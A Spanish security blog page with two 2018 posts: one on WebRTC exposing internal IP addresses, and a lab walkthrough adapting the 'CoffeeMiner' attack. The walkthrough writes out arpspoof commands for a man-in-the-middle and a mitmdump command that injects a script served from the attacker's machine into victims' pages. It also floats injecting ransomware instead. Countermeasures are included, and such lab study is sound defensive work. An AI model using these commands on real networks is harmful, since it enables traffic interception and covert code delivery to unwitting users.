jueves, 15 de febrero de 2018

Chrome y Firefox ... mis queridos soplones.


Me temblaron las piernas al comprobar que al visitar la página: https://www.whatismyip.com/es/ , entre las IPs mostradas estaba la IP interna que maneja mi ordenador.

Mostrando direccionamiento IP externa e interna

¿Cómo es posible?

Analizando el código de la página en cuestión se descubrío la siguiente función:

Código implicado en la presentación del direccionamiento interno.

Esta función crea la variable "pc" de tipo "RTCPeerConnection".


Creación de una variable de tipo RTCPeerConnection.


Pero, ¿qué es el objeto RTCPeerConnection?

Pues dicho objeto es un interface que representa una conexión WebRTC entre el ordenador local y un host remoto. Esta interfaz permite conectar con un host remoto, así como mantener y monitorizar  dicha conexión.

Esta conexiones fueron ideadas para la retransmisión de audio/video.

Más información: https://developer.mozilla.org/ES/docs/Web/API/RTCPeerConnection

Si lo pensamos ... al conectarnos al servidor web para visitar una página, nos hemos descargado un código javascript que tras ejecutarlo en local nos monta un canal de tipo UDP con un servidor remoto, sin conocimiento del usuario.

Estas conexiones son originalmente para streams, pero ... ¿a quién se le ocurren otras posibilidades?

POSIBILIDADES


Aunque si analizamos más el código, en concreto miramos la línea:

Definición del objeto RTCPeerConection

descubriremos que "{iceServers:[]}" significa que la conexión se está produciendo con la máquina local, es decir, la página que me indujo un temblor de piernas sólo es un PoC de conexiones WebRTC.

Aunque si cambiamos dicha configuración y ponemos, por ejemplo:

Código extraído de la documentación en línea sobre las conexiones WebRTC

o cualquier otro servidor, no sé qué podríamos hacer.


De hecho, buscando en Internet se puede ver que desde 2013 (según las fuentes que he encontrado) ya se solicita bloquear el funcionamiento de la API comentada.

Búsqueda en Internet sobre como bloquear la API investigada

QUIÉN SE VE AFECTADO

Se verían afectados todos los navegadores, aunque en la mayoría de ellos, la posibilidad de ejecución de conexiones WebRTC NO están permitidas por defecto. Las excepciones son:  Chrome y Firefox.

CONTRAMEDIDAS


En cualquier caso, hay que actuar sobre los hosts finales, ya que el problema radica como se ha comentado antes en la configuración por defecto del Chrome y del Firefox. Por lo tanto hay que ir máquina a máquina y archivo de configuración de usuario por archivo de configuración de usuario.  

Se han encontrado varias maneras de controlar los expuesto aquí:

0.- Utilizar cualquier otro navegador que por defecto no permita el uso de la API investigada (IExplorer, por ejemplo)


NOTA: Como se advierte en el enlace, las apps-on pueden no funcionar en el modo incógnito.


3.- Deshabilitar el uso de JavaScript


Modificación de la configuración de navegador Chrome.

 Modificación de la configuración de navegador Firefox.


Tras la nueva configuración, obtenemos ...

IMAGINEMOS

Hasta dónde podríamos llegar con esto ... pruébalo


 Lo que hagas con la información es cosa tuya, no mía ... pero ten conciencia

miércoles, 7 de febrero de 2018

Tomando un CoffeeMiner en el descanso.


Hace ya unos cuantos días leí la entrada del blog de Arnau Code relativo a "CoffeeMiner" . En dicha entrada se explica, en resumidas cuentas, como hacer que cualquier persona que se conecte a una WI-FI en la cual te encuentras mine para ti.

Resulto tan interesante la lectura que pase a testearlo (sin utilizar criptomonedas) , para lo cual clone en una de mis MV el repositorio Github de Arnau. A partir del cual comencé a revisar código para adaptarlo a mi MV, ya que dicha máquina -la cual será la atacante- es una máquina Linux sin entorno gráfico por lo que las llamadas a "Xterm" del código de Arnau no funcionan.



Código original de Arnau

NOTA: Sugiero encarecidamente, una vez clonado el repositorio Github, ejecutar el archivo: install.sh, clonado. Permitirá instalar los componentes necesarios para que el archivo python funcione.


Contenido del archivo: install.sh

Se realizaron varios cambios sobre el código original, aunque se puede decir que el principal consistió en dividir el archivo python: coffeeminer.py, en varios archivos. El objetivo fue controlar el funcionamiento ya que, como se comento anteriormente, la llamadas a "Xterm" no funcionan en el entorno de mis MV y no se podría seguir correctamente el funcionamiento del script.  

El resultado quedó de la siguiente manera:

1.- Archivo para configurar el firewall del sistema (1.HabilitarFIREWALL.py).

Sólo habría que lanzarlo la primera vez que trabajemos con el "CoffeMiner", ya que las reglas quedan modificadas de manera permanente.

Añadir que en mi caso, en vez de utilizar el código que se vio arriba, se ha utilizado las siguientes reglas para el firewall.

Contenido del archivo: 1.HabilitarFIREWALL.py

NOTA: Hay que tener en cuenta la adaptación a nuestro sistema, básicamente habría que tener en cuenta:

os.system("iptables -A FORWARD -i <identificador de nuestro NIC de entrada> -o <identificados de nuestro NIC de salida> -j ACCEPT")

Esto es debido a que, no se va a utilizar el software: ssltrip -última línea del script original-, y por lo tanto mi sistema no va a abrir el puerto 8080 para que funcione como proxy-web.

En mi caso, sólo permito el reenvío de los paquetes para que el usuario final no perciba ningún problema en las comunicaciones.

2.- Archivo que realizará el ARPSpoofing (2.ARPSpoofing.py)

Para ello debemos pasar como parámetro la dirección IP de nuestra default gateway. Con ese dato y con el contenido del archivo: victims.txt, que deben ser direcciones IP de las víctimas, se podrá hacer el ataque ARPSpoofing y así conseguir el MiTM.

Contenido del archivo: 2.ARPSpoofing.py

NOTA: Hay que tener en cuenta la adaptación a nuestro sistema, básicamente habría que tener en cuenta:

os.system("arpspoof -i <identificador de nuestro NIC de entrada> -t <IP de la victima> <IP del default gateway>")

os.system("arpspoof -i <identificador de nuestro NIC de entrada> -t <IP del default gateway> <IP de la victima>")

3.- Archivo que levantará un servidor web. (3.httpServer.py)

Se creará un servidor web que escuchará constantemente en el puerto 8000, en mi propia máquina.

Contenido del archivo: 3.httpServer.py

4.- Archivo que nos permitirá inyectar el código que permitirá hacer ... cosas malas. (4.LanzarMitdump.py)

Por un lado tenemos: mitmdump, que es una herramienta que permite analizar el tráfico que pasará a través de nuestro equipo y editarlo.

Por otro lado tenemos: inyector.py, que nos permite inyectar el código deseado.

Está línea, y estas dos herramientas son las realmente esenciales para realizar lo que Arnau nos propone, y son las que pueden dar mucho juego.


Contenido del archivo: 4.LanzarMitdump.py

NOTA: Hay que tener en cuenta la adaptación a nuestro sistema, básicamente habría que tener en cuenta:

os.system("/.local/bin/mitmdump -s ' injector.py http://<IP de nuestro servidor HTTP>/<archivo a descargar>' -T")

El contenido del archivo: script.js es:


Contenido del archivo: script.js

PoC

El entorno se compone de tres equipos:

1.-  Default Gateway : 172.21.5.15
2.- Servidor Linux, desde donde se lanza los scripts correspondientes al CoffeeMiner : 172.21.5.234

Configuración de red de la máquina atacante

3.- Máquina Linux, que será la víctima: 172.21.5.246

Configuración de red de la máquina victima

Se procede a lanzar la secuencia de scripts generados.

A.- 1.HabilitarFIREWALL.py

Lanzamos el primer script, que permite la configuración del firewall

 B.- 2.ARPSpoofing.py


Lanzamos el segundo script, que permite realizar el ARPSpoofing.

Tabla ARP de la máquina víctima.

C.- 3.httpServer.py


Lanzamos el tercer script, que levanta un servicio web.

C.- 4.LanzaMitmdump.py


Pantallazo obtenido tras lanzar el cuarto script.

Desde la máquina víctima se solicita a través del navegador la visita a la URL: www.arnaucode.com, obteniéndose el siguiente resultado:

Mensaje visualizado y que se corresponde con la orden dada en la línea inyectada.

CONTRAMEDIDAS

A nivel de red, al fundamentarse en un MitM mediante un ataque ARPSpoofing, la red se llena de tramas ARP desde el atacante hacía sus víctimas. También cada uno de los equipos víctimas sufrirán un incremento de actividad a nivel de red.

Por dicho motivo, se debería instalar un script/software/<o como se quiera llamar> que nos informe cuando dos direcciones IP tenga la misma M.A.C.. Esto sería un indicador bastante fiable de que estamos ante un ataque ARPSpoofing.

Un script que nos permitiría detectar un ataque ARPSpoofing puede ser el siguiente

A nivel de navegador web, y para detectar intentos de minería existen extensiones que detectan y bloquean dichos intentos. Como por ejemplo: No Coin y Miner Block

Al mismo nivel que el anterior, podemos ser más radicales, y deshabilitar la ejecución de "javascript".

Por último, me gustaría dejar caer las siguientes ideas ...

1.- Y si, en vez de un ataque MitM se configurara un archivo PAC (configuración de proxy-web) y se soltará para que todas aquellas máquinas/hosts que lo solicitan de manera implícita lo recogieran e hicieran de nuestra máquina su proxy-web.

Nuestra inyección sería más anónima.

2.- Y si, en vez de inyectar un comando: <alert>, o el código para descargar un archivo de minería, volviéramos a las andadas con los ransomware u otros malwares.

3.- Imaginación al poder.

En cualquier caso, todo esto implica estar presente en la red a "engañar" de manera física, aunque sea por tiempo finito. Pero ello también implicaría que los elementos de seguridad de la red nos los habríamos saltado y sólo quedarían las medidas de seguridad implementadas en los hosts finales.

¿Cómo sería de malo?

 Lo que hagas con la información es cosa tuya, no mía ... pero ten conciencia